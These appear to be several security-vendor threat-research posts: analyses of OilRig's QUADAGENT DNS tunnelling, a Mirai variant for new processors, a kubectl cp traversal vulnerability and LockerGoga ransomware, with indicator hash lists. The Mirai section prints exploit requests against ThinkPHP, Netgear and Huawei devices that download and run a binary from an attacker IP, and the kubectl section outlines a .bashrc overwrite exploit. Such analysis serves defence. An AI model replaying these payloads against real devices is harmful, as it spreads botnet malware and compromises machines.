Figure 34 shows the C2 server instructing QUADAGENT to issue 5 requests to download data. QUADAGENT issues these queries and increments the sequence number in each query. The C2 server provides answers to these queries with the length of the data, the 16-byte AES initialization vector and the data encrypted with AES using the pre-shared key.

Figure 34. Wireshark displaying QUADAGENT downloading a command from the C2 server

QUADAGENT will decrypt the data downloaded from the C2 server using AES with the provided IV and the previously provided pre-shared key. QUADAGENT will parse the decrypted data based on the following structure:

hello<char uuid[35]><char type[1]><data>

The message will start with the string 'hello', followed by a 35 character UUID string. The 'type' field specifies the command that the payload will handle, which known QUADAGENT samples can only handle one command type 'x'. The 'x' command treats the supplied data field as a PowerShell script that it will write to the current PowerShell script, effectively overwriting the initial PowerShell script with a secondary payload.

The payload will then notify the C2 that it has successfully downloaded the secondary PowerShell payload. The payload creates a string that has the following structure that it will send to the C2:

bye<char uuid[35]>d

QUADAGENT will send the above string to the C2 using the sequence of DNS queries previously mentioned for data exfiltration. The sequence starts by first issuing a DNS query to resolve the following domain to notify the C2 that the payload will send data to it in subsequent DNS queries:

ns1.<random number between 100000 and 999999>.<c2 name>

QUADAGENT will then issue a query to resolve a subdomain structured as follows, which contains the session identifier that notifies the C2 which host is about to send data:

The payload will then split the message up into 60-byte chunks, which it will send to the C2 via DNS queries to resolve domains structured as:

The payload will notify the C2 that it is done sending data by issuing a DNS query to resolve a domain structured as:

ns2.<same random number between 100000 and 999999>.<c2 name>

Figure 35 shows QUADAGENT uploading data to the C2 server as base64 encoded data within the queried subdomain. Before sending the data, the Trojan provides the notification query using the “ns1” subdomain, followed by a query with the session identifier. Finally, QUADAGENT issues a query for the “ns2” subdomain to notify the C2 that it is done sending data.

Figure 35. Wireshark displaying QUADAGENT sending its "bye" message to the C2 server

Conclusion

The OilRig group has repeatedly used DNS tunneling as a channel to communicate between their C2 servers and many of their tools. As mentioned in our overview of DNS tunneling, this threat group saw the benefits of using DNS tunneling, as DNS is almost universally allowed through security devices. One major drawback of using DNS tunneling is the high volume of DNS queries issued to transmit data back and forth between the tool and the C2 server, which may stand out to those monitoring DNS activity on their networks.

While all DNS tunneling protocols have to abide by the standardized DNS protocol, not all of the tunneling protocols used by OilRig are equal from an efficiency or blending in standpoint. Data transmission using these DNS tunnels uses specially crafted subdomains, which can transmit more data per query by designating more of the characters within the subdomain as data. It is also obvious that the use of base64 encoding is more efficient than base16 in these protocols, as each character of base64 encoded data can send .75 bytes of data whereas base16 requires two characters to send 1 byte. Regardless of the encoding, the extremely long subdomains used in some of these tunnels to transmit data may not blend into legitimate DNS query traffic.

Palo Alto Networks customers interested in protecting themselves against DNS Tunneling attacks should investigate our DNS Security Service, which uses advanced techniques to identify and block DNS Tunneling attacks.

IOCs

While not an exhaustive list of samples, please reference the following SHA256 hashes for the various tools discussed in this blog.

Helminth
662c53e69b66d62a4822e666031fd441bbdfa741e20d4511c6741ec3cb02475f
089bf971e8839db818ac462f53f82daed523c413bfc2e01fb76dd70b37162afe
d808f3109822c185f1d8e1bf7ef7781c219dc56f5906478651748f0ace489d34
1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1
0ec288ac8c4aa045a45526c2939dbd843391c9c75fa4a3bcc0a6d7dc692fdcd1
3986d54b00647b507b2afd708b7a1ce4c37027fb77d67c6bc3c20c3ac1a88ca4
f5a64de9087b138608ccf036b067d91a47302259269fb05b3349964ca4060e7e
4b5112f0fb64825b879b01d686e8f4d43521252a3b4f4026c9d1d76d3f15b281

ISMAgent
a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821
52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9

ALMA dash
f37b1bbf5a07759f10e0298b861b354cee13f325bc76fbddfaacd1ea7505e111

ALMA dot
e52b8b0e8225befec156b355b3022faf5617542b82aa54f9f42088aa05a4ec49

BONDUPDATER Original
de620a0511d14a2fbc9b225ebfda550973d956ab4dec7e460a42e9d2d3cf0588

BONDUPDATER Updated
d5c1822a36f2e7107d0d4c005c26978d00bcb34a587bd9ccf11ae7761ec73fb7
7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00

QUADAGENT
1f6369b42a76d02f32558912b57ede4f5ff0a90b18d3b96a4fe24120fa2c300c

Mirai Compiled for New Processors Surfaces in the Wild

Posted on April 8, 2019June 7, 2024 by Ruchna Nigam

Executive Summary

In late February 2019, Unit 42 discovered Mirai samples compiled for new processors/architectures not previously seen before. Despite the source code being publicly released In October of 2016, the malware has, until now, only been found targeting a fixed set of processors/architectures.

Unit 42 has found the newly discovered samples are compiled for Altera Nios II, OpenRISC, Tensilica Xtensa, and Xilinx MicroBlaze processors. This is not the first time Mirai has been expanded for new processor architectures, samples targeting ARC CPUs were discovered in January 2018. Yet this development shows that Mirai developers continue to actively innovate, targeting a growing array of IoT devices. The malware gained notoriety in 2016 for its use in massive denial of service attacks on Dyn and the website of security blogger Brian Krebs. If the latest innovations lead to an increase in the number of infected devices, that means that Mirai attackers would have access to additional firepower for use in denial of service attacks.

In this blog, we show the new features we’ve found in these new samples, discuss the infrastructure we observed, show how other Mirai samples using known exploits were hosted on the same infrastructure as the new samples, and give indicators of compromise (IoCs) for these new samples.

To protect against Mirai and other threats, organizations should make securing their IoT devices with the latest updates and non-default passwords a priority.

New Features in these New Samples

In addition to the being compiled for these new architectures, we have found that these new samples also contain the following new features:

Encryption algorithm: These samples make use of a modified version of the standard byte-wise XOR (as implemented in the toggle_obf function) used in the original Mirai source code.

It uses 11 8-byte keys, all of which are cumulatively byte-wise XOR-ed to get the final resulting key. This is better illustrated in the code snippet below:

tablekeys = [0xdeadbeef, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF]

xor_key = 0

for key in tablekeys:

xor_key ^= key&0xff ^ (key>>8 & 0xff) ^ (key>>16 & 0xfF) ^ (key>>24 & 0xff)

tablekeys = [0xdeadbeef, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF]

xor_key = 0

for key in tablekeys:

xor_key ^= key&0xff ^ (key>>8 & 0xff) ^ (key>>16 & 0xfF) ^ (key>>24 & 0xff)

This is effectively the equivalent of a byte-wise XOR with 0x5A.

attack_method_ovh: The samples include a DDoS attack option with the following parameters:

ATK_OPT_IP_TOS = 0

ATK_OPT_IP_IDENT = 0xFFFF

ATK_OPT_IP_TTL = 64

ATK_OPT_IP_DF = 1

ATK_OPT_SPORT = 0xFFFF

ATK_OPT_DPORT = 0xFFFF

ATK_OPT_SEQRND = 0xFFFF

ATK_OPT_ACKRND = 0

ATK_OPT_URG = 0

ATK_OPT_ACK = 0

ATK_OPT_PSH = 0

ATK_OPT_RST = 0

ATK_OPT_SYN = 1

ATK_OPT_FIN = 0

ATK_OPT_SOURCE = LOCAL_ADDR

ATK_OPT_IP_TOS = 0

ATK_OPT_IP_IDENT = 0xFFFF

ATK_OPT_IP_TTL = 64

ATK_OPT_IP_DF = 1

ATK_OPT_SPORT = 0xFFFF

ATK_OPT_DPORT = 0xFFFF

ATK_OPT_SEQRND = 0xFFFF

ATK_OPT_ACKRND = 0

ATK_OPT_URG = 0

ATK_OPT_ACK = 0

ATK_OPT_PSH = 0

ATK_OPT_RST = 0

ATK_OPT_SYN = 1

ATK_OPT_FIN = 0

ATK_OPT_SOURCE = LOCAL_ADDR

These are the exact same parameters as the attack method “TCP SYN” (attack_method_tcpsyn) in the original Mirai source, so the reason behind incorporating a new attack method with the same parameters remains unclear.

Pivoting on this attack method in AutoFocus, we found samples circulating in the wild since November 2018 for other previously known architectures also employing it.

Infrastructure

We found these latest samples on a single IP that at one point of time was hosting them via an open directory; however, on February 22, 2019, the server was later updated to hide the file listing but continued to host the files themselves.

Figure 1. Open directory hosting samples of the Mirai variant

Prior to the update on February 22, the same IP was hosting Mirai samples containing the following exploits known to be used in previous versions of Mirai. The presence of these exploits in both previous versions of Mirai and our newly discovered samples help show the tie between the two are likely used by the same attacker in this case. These exploits are shown in Table 1, below.

Vulnerability	Exploit Format
ThinkPHP Remote Code Execution	GET /to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= 'wget http://178.62.227[.]13/wrgjwrgjwrg246356356356/hx86 -O /tmp/Hito; chmod 777 /tmp/Hito; /tmp/Hito wget.exploit.selfrep.thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hito/2.0
D-Link DSL2750B OS Command Injection
Netgear Remote Code Execution	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;/bin/busybox+wget+-g+178.62.227[.]13+-l+/tmp/binary+-r+/wrgjwrgjwrg246356356356/hmips;+/bin/busybox+chmod 777++/tmp/binary;/tmp/binary+wget.selfrep.exploit.netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
CVE-2014-8361
CVE-2017-17215	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 178.62.227.13 -l /tmp/binary -r /wrgjwrgjwrg246356356356/hmips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Table 1. Exploits in Mirai variant hosted at 178.62.227[.]13 prior to February 22

Conclusion

Given that the Mirai source code is open source, something as elementary as compiling the same source code for a larger range of processors provides attackers with the advantage of a larger attack surface. Practically, this means that the family can now infect and propagate via a larger number of embedded devices, affording attackers greater DDoS firepower.

Palo Alto Networks customers are protected by:

WildFire detects all related samples with malicious verdicts.
All exploits and IPs/URLs involved in these campaigns are blocked through Threat Prevention and PANDB.

AutoFocus customers can track the exploits mentioned using the following tags:

The malware family can be tracked in AutoFocus using the tag ELFMirai

Indicators of Compromise

URLs

178[.]62.227.13/wrgjwrgjwrg246356356356/hmicroblazebe

178[.]62.227.13/wrgjwrgjwrg246356356356/hmicroblazeel

178[.]62.227.13/wrgjwrgjwrg246356356356/hnios2

178[.]62.227.13/wrgjwrgjwrg246356356356/hopenrisc

178[.]62.227.13/wrgjwrgjwrg246356356356/hxtensa

Xilinx MicroBlaze Samples

006b73c03760f168a5d71c0edd50e9a437aca7b3db1dbecac75ea2ef9e74f54f

233790b3a74245c4660cadec23145246484154abd01edd45836c31598f96b13d

26298ff73035ef2dc92cda118d476933d3014b39ac478865bd86d28aa5457459

2d7ed9ccd1b94f58aff30f7a7d798dd03b6a0f5bed2a529e1e13d8d78e9ae289

3891a82075bd173bb1e052c27f1be946559aaeb65e6a4c761ba8bbd2cbccd3fb

43c5efda1875fd809f97b49d296f34e1292ed86e5a4197460764fe67b98294ef

44f1d6144df90adea1b7b482c84946257c9fb70a9c195a6846f416de80b5e6fd

4cb4c5cbf7eb646bdc08640f4f9e9a4383a9c7ac4e26be0caeb9dc904670c5bf

4d8a4841a2f4a61ed6df2be79dd7ea1eb2052cee6eba4d8de30add7908ebb779

537c2d136a805fe1b703709b0794e25f91f2136027287fa4817080330c7989ce

683b6f8209725ae0e715cda5a1cd35bcaacb5d45ae8e487c98dce2c01c91c887

9b1eab0283fd6948a9a181abaa2f6b3c26f2b0077c8a8b32e763790dd64d2a22

a736d6ebf9596872f3c92ac486be2588ccf0c53cf15a3897a97c83ca1525ff8d

a9dbcc2681d427f9820ca9c5ec120b9bf3e83c9856e89736884ee4dc26712e50

bdd19fa8a7c0e3a5ebbb14d5885cb09a863122ad2c78f53361db0c194045d491

c0f18a5113b341faacb9f647cee954a237925cc62d5daff559a8a880702273c1

c75b3c52c0f5eebfd4c44c3069a393e824d455c7405d57ee99fd7613b8211b31

d28d05477ddbb1e3de330e98a2cb199ed76df0d1c942c467c977c9b70771477a

de6a0d2b8b4323bc06a6cd02b0042fc92c36319696dafafd057e905d359f60ea

e740f780f2b91a41c5024115bbed607b0a75e52fcf4f96b86d0f8adda0c97ddf

OpenRISC Samples

09f8885872bc47e03608d6725f8735074c8b915ca08540e367921223058c108a

199f1976cb5fb39a9c395a28e2178476b6eaec0f3499a5a11912f103dcd64d00

1efdfc79d0c4b779966dfcae7d4f0a1f17f043e098ec0f90ff12a7ebc3c3f1f1

24b4c838dd41c0d812f747e48cf24be4f2265bce8f1e4d0d8ca6a7fc5649019b

59b7a7baf4c239786fdf5ceca9084d829c6f6fc0603a524df313b2ef4958e4c2

6183c7c87ff7cc3721c000af73714be27884a22057c4dc69bccd34571353f327

74a45ff17678e0bddf383b5229785dda04c515e778bc9421d9396168f1cf3c3d

76c9e543a0386994031b4905533eccd05400b3bb12fefc94f1eb65af5debe986

b6359a84bd36a3ce8a13f1306ad74d757c384a772691c228c9a00a5246d828fa

b758405fd18c4518878868163472bcb4e988e4ecbc3312b9756d231b80646816

b89196b9773c6c809a2547434ce3e9de8a494ed7b338e013fd3f2818b4b54fd1

c33080bea85616fd1251f877cd9ff570dd6a2e2f24cc20254754cb2c74a2375e

d21880f4f919c410d0f2ee447716a2f7288dbaa21ec7de8601f0fc999b4d3d45

f646c45feb0ccab4caf61bdb4aa45b0295614b2e881ad9c594ccaec2ea886671

Tensilica Xtensa Samples

006436f282f46f49eb97c2e119622ac61086a908623ca741eb29caeca22c797a

28bb80c687cb0aeea0b2d53dd5bf34f21f7292e5708b0aefeea25aebe2ff93af

5647168f9818dc40599d057c426424709bde5722c62088ecff64b97d3acfc4a7

57cc6875ae0c571ef1edaae72d82b0da6e60331ad4b3ad34c922b9e4612b8779

61893583675935ac7a4857542f13d513ffbb176b302a72d26d7ec39fd931decb

ac4a00bfe1031e19eb9a101d61ef5267627ebaeb2aca4b962c7bb1b5a59e337c

b0cef399ea8ec2244aebb3506a2bb60c64c3921e816c0fc9752caf84c6cf196d

b5da0b6070d9cf3a3d628864e0f0860c8fc967ce692c0142f5a6dafee64079f6

Altera Nios II Samples

0c35f2902d92ef4f46e4643d11c46bde57027bb14e2b75c027a50fe7efc4f358

3446c2ed11a6a5e02702afd5f7082eb435b2922096443cabd45d54b5b7582cc1

48c760ba6b6a29e2a90bdb88bf96486c158f2b47ee9e1c560a47071e39bb5e87

5876c9ac609ece0e051c57b380489490bc78e40c796b637af1e80adbdb9f70dc

a457090fb6df8cb93c91ec6b5d89927f7a6f9e247389d945d44731351a367b4e

ed5e313821bf3a20d226c1b5f2b0ba7f1897d0778c27620017b852579e3e1894

fae498477388c53c8c623fd8ddb710cc286584200767907b104d55f916d37c05

Disclosing a directory traversal vulnerability in Kubernetes copy – CVE-2019-1002101

Posted on March 28, 2019June 7, 2024 by Unit 42

Executive Overview

On March 4, I reported a security vulnerability in kubectl to the Kubernetes and OpenShift security teams, which was assigned CVE-2019-1002101. This post explains the discovery process, the vulnerability details and its impact and exploitation methods. Thanks to Brandon Phillips Red Hat for coordinating the disclosure process. The announcement made today by the Kubernetes team can be found here.

Vulnerability discovery

I was exploring Kubernetes commands when a particular notice drew my immediate attention.

This note refers to the kubectl cp command, which allows copying files between containers and the user machine. To copy files from and to containers, Kubernetes calls the tar binary inside the container, to either create or unpack a tar archive with the requested files. This has always been the way the cp command worked, but I was surprised that the same design was still in use after a vulnerability in the cp code was found about a year ago.

Some of the readers might recall the directory traversal vulnerability that was found in the cp command last March. It was assigned CVE-2018-1002100, though it was mostly overshadowed by a similar vulnerability in OpenShift that was announced in the same post.

This vulnerability was ultimately a “classic” directory traversal – paths include directory climbing using ../ (dot dot slash) were not sanitized, allowing malicious containers to write any file to any path on the user machine when copied from.

Before we dig in to the vulnerability I found, let’s examine the kubectl cp architecture in more detail.

To copy files from a container, kubectl creates a tar with the source files inside the container and unpacks it on the user machine. To copy files from the user machine to a container, kubectl creates a tar with the files and unpacks it inside the container.

For creating and unpacking a tar archive on the user machine, kubectl relies on its tar parsing code in cmd/cp/cp.go. However, for containers kubectl executes the tar binary inside the container for these actions. For that reason, a tar binary is required to be in the container for the cp command to work, as specified in the documentation notice.

If the tar binary on the container is malicious, it could run any code and output unexpected, malicious results. This is a prerequisite for both the previous vulnerability and the new one to be exploited.

The function copyFromPod in cp.go implements the process of copying files from the container. It calls tar in the container through remote exec (&exec.DefaultRemoteExecutor) and then untars the result on the user machine in the function untarAll. This function uses the “archive/tar” Go package for tar parsing and finally writes the files to the destination directory based on the result tar headers.

Since the fix to CVE-2018-1002100, the untarring function calls the cp.go:clean function to strip path traversals.

However, after reading its code I realised that the function can both create and follow symbolic links from the tar headers. An attacker could craft a malicious tar that has a header with a symbolic link to virtually any path, and a subsequent header to a file inside a directory with the same name as the symlink. When extracted by the cp untar function, the link would result in creating or modifying the desired file in the path from the symbolic link.

Impact

This vulnerability can be dangerous in one of two scenarios:

A user unknowingly downloads a malicious container image with a bad tar. The attacker can push such an image to any registry (e.g. Docker Hub) for a popular image he has control of or rely on typosquatting.
An attacker compromises a running container by exploiting another vulnerability or in some cases he may have legitimate access to a container. The attacker then plants a malicious tar replacing the original tar of the image.

A sophisticated attacker will also conceal the exploit by making the malicious tar include the originally requested files in its output, or make the symlink file a dotfile, so that the attack is not immediately apparent.

So far I have only mentioned directory traversal, which is dangerous by itself. Kubectl users are generally developers, devops staff, or administrators, whose environment contains sensitive configuration and deployment files. Targeted exploitation of this vulnerability can thus lead to leakage and exfiltration of potentially highly sensitive information. Nevertheless, you may be wondering how straightforward it is for an attacker to get full code execution on the user machine through this vulnerability.

First, if kubectl is run as root, achieving remote code execution becomes trivial through the modification of one of many configuration or system files. Files like /etc/profile or cron files are good targets, but virtually any startup file are easy targets to get immediate and persistent code execution.

Yet kubectl is more commonly run as a user. This makes it harder for an attacker to deterministically get code execution. It eventually sums up to the creativity of the attacker or how much information about the user filesystem may be known, but for the sake of this post I present a simple idea that may work in many cases.

In the proof of concept found below, I get code execution by writing to the .bashrc file in the directory kubectl is run from. The path /proc/self/cwd links to that directory. If kubectl is ran from the user’s home directory, the bash loading script is replaced with my payload which is run the next time a bash shell is spawned by the user.

Proof of Concept

The following infographic goes through the steps of this exploit.

Suggestion for redesign

This vulnerability can be closed by fixing the untarAll function and writing regular files instead of symbolic links. Within the original advisory, I’ve also reported another non-security out-of-bounds access bug in the same function. The maintainers can probably close both issues with a simple PR, the CVE will be marked as fixed and everybody updates and move on.

The way I see it though, kubectl cp, or for that matter any Kubernetes command, should not be calling tar or execute any binary inside the container. Any output from inside a container should not be considered safe or reliable, since it can be controlled by an attacker if compromised. Even without a vulnerability, the binary could output to the user terminal any misleading text (in the tar case, through stderr) that could confuse even an experienced user. Or potentially attempt to exploit terminal vulnerabilities to do much more. (1)

An issue has already been opened for getting rid of the tar requirement in kubectl cp, although on the basis of usability and not security.

Twistlock (Prisma Cloud) protection

Twistlock can alert or prevent a change of a tar binary inside a running container, alerting on a breach and preventing the exploitation of this vulnerability. Twistlock also has a CIS benchmark that can be enforced for all images to run with a readonly rootfs, which prevents hijacking tar or any binary inside a running container altogether.

Twistlock also allows you to define Trusted Images, a feature introduced 2 years ago in Twistlock 1.7, that enables marking a specific set of registries, repositories, images or base layers that are allowed within your organization.

Finally, with the new Kubernetes Auditing feature you could gain visibility over use of the cp command and easily pin down the events where a user may have been affected by a compromised container.

To monitor all cp events, use the following rule:

jpath("stage") = "ResponseComplete" and jpath("objectRef.resource") = "pods" and jpath("objectRef.subresource") = "exec" and jpath("verb") = "create" and jpath("requestURI") contains "command=tar"

1	jpath("stage") = "ResponseComplete" and jpath("objectRef.resource") = "pods" and jpath("objectRef.subresource") = "exec" and jpath("verb") = "create" and jpath("requestURI") contains "command=tar"

Thanks to Misha and Omri for providing it.

Summary

This vulnerability only affects the user client for Kubernetes, kubectl (and the OpenShift equivalent, oc). All kubectl versions from v1.9.0-alpha.2 to 1.14.0 are vulnerable (1.11.9, 1.12.7, 1.13.5 also have the fix).

If you like our advisories, follow us on Twitter and be the first to read our posts.

For more about escape sequence terminal vulnerabilities, see the slides of my AtlSecCon talk

Born This Way? Origins of LockerGoga

Posted on March 26, 2019June 7, 2024 by Mike Harbison

This Unit 42 blog provides insights into the ransomware attacks referred to as LockerGoga.

The LockerGoga ransomware was first publicly reported in January by Bleeping Computer, which tied the malware to an attack against French engineering company Altran Technologies. Several variants have since been found in the wild, where they were used in attacks against Norwegian aluminum manufacturer Norsk Hydro and two chemical companies: Hexion and Momentive. Unit 42 reviewed malware samples from these attacks and found evidence that caused us to question the origin of the threat name. “LockerGoga” was taken from a string that did not exist anywhere in the code used in the original attack on Altran. Bleeping Computer reported that the name came from this source code path discovered by MalwareHunterTeam:

X:\work\Projects\LockerGoga\cl-src-last\cryptopp\src\rijndael_simd.cpp for SHA256 bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f

We were able to find this string referenced in earlier ransomware variants identified as Ransom.GoGalocker by Symantec, but not in the sample identified in Bleeping Computer’s report. To avoid confusion, we will continue to use the LockerGoga name to refence the initial variant and its predecessors. Palo Alto Networks has identified 31 ransomware samples that are similar in behavior and code to the initial variant. In this report we will attempt to trace back to the origin of these samples, discuss their evolution, then expose some of their inner working capabilities and even faults.

First LockerGoga Sample

The earliest known sample of LockerGoga (SHA256: bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f) we found was submitted to VirusTotal on January 24. We believe this sample was used in the attack on Altran. We do not know how the ransomware infected Altran’s networks or propagated once there.

Propagation

Currently LockerGoga does not support any worm-like capabilities that would allow it to self-propagate by infecting additional hosts on a target network. We have observed LockerGoga moving around a network via the server message block (SMB) protocol, which indicates the actors simply manually copy files from computer to computer.

LockerGoga Characteristics

This sample requires administrative privileges in order to successfully execute, though the specific mechanism for initial code execution is unknown. Once it executes it seeks to encrypt files on the infected computer and any attached hard drives. Once it’s fully executed, it leaves a ransom note on the user’s desktop containing an email address to contact presumably for decryption and payment options.

The initial sample was written in the C++ programming language and employs publicly available libraries such as Boost, Cryptopp and regex. This sample includes a denylist that excludes the following files and directories from encryption:

readme-now.txt
files starting with ntsuser or usrclass
File extensions: .dll, .lnk, .sys, .locked
Microsoft\Windows\burn
dat
log

The malware does not support any self-propagating code to infect other hosts on the network and is signed by a certificate issued in the name MIKL LIMITED, which has been revoked. The following command line arguments are also supported:

Command Line	Description
-w	Work: This is the default command line parameter and encrypts all files on the host. It also wipes all free space by creating the following file c:\wipe and filling it with random data the size of the free space available on the drive. The file is then deleted. This parameter can also be used to encrypt a single file i.e. -w filename.exe
-r	Dry Run: Does not encrypt any files on the host.
-l	Log: Creates a log file off the root drive named cl.log.
-f	File: Used to encrypt a single file.

Table 1. Supported command line arguments

Encryption

LockerGoga uses the Cryptopp library to implement RSA, as implementing RSA from scratch would be very time consuming and error prone. To encrypt files, (Strong RSA) RSA-OAEP MGF1(SHA-1) is used. The RSA public key found in this sample is:

00000000 4D 49 47 64 4D 41 30 47 43 53 71 47 53 49 62 33 MIGdMA0GCSqGSIb3

00000016 44 51 45 42 41 51 55 41 41 34 47 4C 41 44 43 42 DQEBAQUAA4GLADCB

00000032 68 77 4B 42 67 51 43 46 66 33 43 54 59 79 41 79 hwKBgQCFf3CTYyAy

00000048 6F 79 5A 71 52 33 6E 48 63 4C 4A 2B 49 2F 71 69 oyZqR3nHcLJ+I/qi

00000064 2F 50 57 77 57 54 75 6C 20 6C 4D 69 4E 32 54 47 /PWwWTul lMiN2TG

00000080 4D 41 4D 62 34 39 75 58 51 32 79 43 34 4D 5A 76 MAMb49uXQ2yC4MZv

00000096 5A 76 4B 53 50 55 44 6F 33 61 4D 67 5A 4A 71 30 ZvKSPUDo3aMgZJq0

00000112 78 75 52 53 42 34 58 6F 73 6D 73 30 5A 39 51 4B xuRSB4Xosms0Z9QK

00000128 70 76 47 6C 6A 4E 48 36 79 34 50 59 4E 39 38 2F pvGljNH6y4PYN98/

00000144 76 20 79 31 7A 4F 6B 34 70 45 69 53 68 43 32 49 v y1zOk4pEiShC2I

00000160 47 46 50 4A 32 47 71 33 4F 63 2B 41 78 4F 37 57 GFPJ2Gq3Oc+AxO7W

00000176 6F 2F 62 42 76 35 34 32 52 51 30 67 50 55 77 7A o/bBv542RQ0gPUwz

00000192 79 54 53 66 71 6A 44 47 35 33 35 73 38 57 73 76 yTSfqjDG535s8Wsv

00000208 4B 73 79 77 49 42 45 51 3D 3D KsywIBEQ==

Table 2. RSA Public key found in initial LockerGoga sample

Although RSA-OAEP MGF1 has features that make it more secure, the added computational overhead causes encryption to take longer and has difficulty handling large files. To mitigate this, the developers launch multiple child processes that work in parallel to maximize encryption speed. To overcome large files, the developers decided to encrypt chunks of a file every 80,000 bytes and skip the next 80,000 bytes of a file. Example:

Figure 1. Data encrypted in 80,000 byte chunks

Because of this, partial recovery of large files might be possible even without the decryption key.

Although the developers attempt to use a denylist of files and directories to skip, it was observed encrypting core Windows operating system files, which caused the operating system to become unstable and crash. This was observed when running the ransomware on a Windows 2012 machine.

Early Development

Based on our analysis, we believe this variant is an early release of LockerGoga ransomware. The developers left behind command line parameters such as -r which allows the malware to run without encrypting anything. This can be used in conjunction with -l (log) to test how the ransomware behaves. Both of these parameters are suggestive of an initial, or test, build. The -r specifically was not observed in later variants.

According to the Bleeping Computer report, the ransomware appeared to encrypt only the following specific file extensions: doc|dot|wbk|docx|dotx|docb|xlm|xlsx|xltx|xlsb|xlw|ppt|pot|pps|pptx|potx|ppsx|sldx|pdf.

Our analysis found that the malware does not use the code block that checks for specific file extensions. Instead, we observed that the malware encrypts all files except those in the denylist. It also has issues with large files, which is addressed in later variants.

Development Cycle

Like other active software projects, the LockerGoga ransomware is under constant development with new variants being developed and used to attack victims. All these variants share similar characteristics and just like other professional development, each release contains improvements or new capabilities.

To counter this ongoing development cycle, security researchers have to focus on identifying new variants.

To that end, we highlight some of the evolutionary changes we have observed since the malware surfaced in January:

Dropped the -r and -f command line arguments
Log file renamed from cl.log to .log
Ransomware note is no longer encoded in the binary
Ransomware note renamed from README_NOW.txt to README_LOCKED.TXT
Added the following command line parameters:

Parameter	Description
-i	Inter process communication (IPC)
-s	Slave (child process)
-m	Master Process

Began using mutexes (example: SM-zzbdrimp) to identify processes for inter-process communication.
Stopped using svch0st[numeric value].exe as a process name and began using distinct hard-coded names for each sample.
Uses undocumented Windows API calls (for example NtQuerySection)
Changes administrator password to HuHuHUHoHo283283@dJD
Stopped creating a wipe file to erase free space and instead uses Windows cipher.exe with command parameter /w to wipe free space on the host
Added importation of WS2_32.dll, possibly to support network communications
Changed the format and collection of data recorded in the log file
Updated encryption of files and directories. No longer encrypts all files on the host: instead targets specific file extensions and directories
Calls into Windows Restart Manager session for possible token elevation to overwrite trusted installer files
Uses the following digital signers:
- ALISA LTD
- KITTY'S LTD
- MIKL LIMITED
Logs off the current user
The inclusion of the word “Goga” in the binary and encrypted files

Conclusion

LockerGoga’s developers continue to add capabilities and launch new attacks. The addition of WS2_32.dll and use of undocumented Windows API calls indicates a level of sophistication beyond typical ransomware authors. The former could lead to the eventual inclusion of C2 communication or automated propagation, and the latter requires some working knowledge of Windows internals.

These features raise more questions about the actor’s intent as ransomware is typically one of the least advanced forms of malware: Are they motivated by profits or something else? Has the motive change over time? Why would developers put such effort into their work only to partially encrypt files. Why do they include an email address and not seek payment through more frequently used cryptocurrencies?

We do not know if any of the victims have paid the ransom and were able to successfully retrieve their data. We do know that this ransomware has caused significant harm. The damage could increase significantly if the attackers continue to refine this ransomware. Unit 42 will continue to monitor LockerGoga and report on new activity.

WildFire properly identifies all of the malware samples listed in this report as malicious. Traps prevents execution of LockerGoga samples and AutoFocus customers can view LockerGoga samples using the LockerGoga tag.

Indicators of Compromise

LockerGoga Samples

ae7e9839b7fb750128147a9227d3733dde2faacd13c478e8f4d8d6c6c2fc1a55

f474a8c0f66dee3d504fff1e49342ee70dd6f402c3fa0687b15ea9d0dd15613a

ffab69deafa647e2b54d8daf8c740b559a7982c3c7c1506ac6efc8de30c37fd5

c1670e190409619b5a541706976e5a649bef75c75b4b82caf00e9d85afc91881

65d5dd067e5550867b532f4e52af47b320bd31bc906d7bf5db889d0ff3f73041

31fdce53ee34dbc8e7a9f57b30a0fbb416ab1b3e0c145edd28b65bd6794047c1

32d959169ab8ad7e9d4bd046cdb585036c71380d9c45e7bb9513935cd1e225b5

e00a36f4295bb3ba17d36d75ee27f7d2c20646b6e0352e6d765b7ac738ebe5ee

6d8f1a20dc0b67eb1c3393c6c7fc859f99a12abbca9c45dcbc0efd4dc712fb7c

79c11575f0495a3daaf93392bc8134c652360c5561e6f32d002209bc41471a07

050b4028b76cd907aabce3d07ebd9f38e56c48c991378d1c65442f9f5628aa9e

1f9b5fa30fd8835815270f7951f624698529332931725c1e17c41fd3dd040afe

276104ba67006897630a7bdaa22343944983d9397a538504935f2ec7ac10b534

88d149f3e47dc337695d76da52b25660e3a454768af0d7e59c913995af496a0f

c97d9bbc80b573bdeeda3812f4d00e5183493dd0d5805e2508728f65977dda15

06e3924a863f12f57e903ae565052271740c4096bd4b47c38a9604951383bcd1

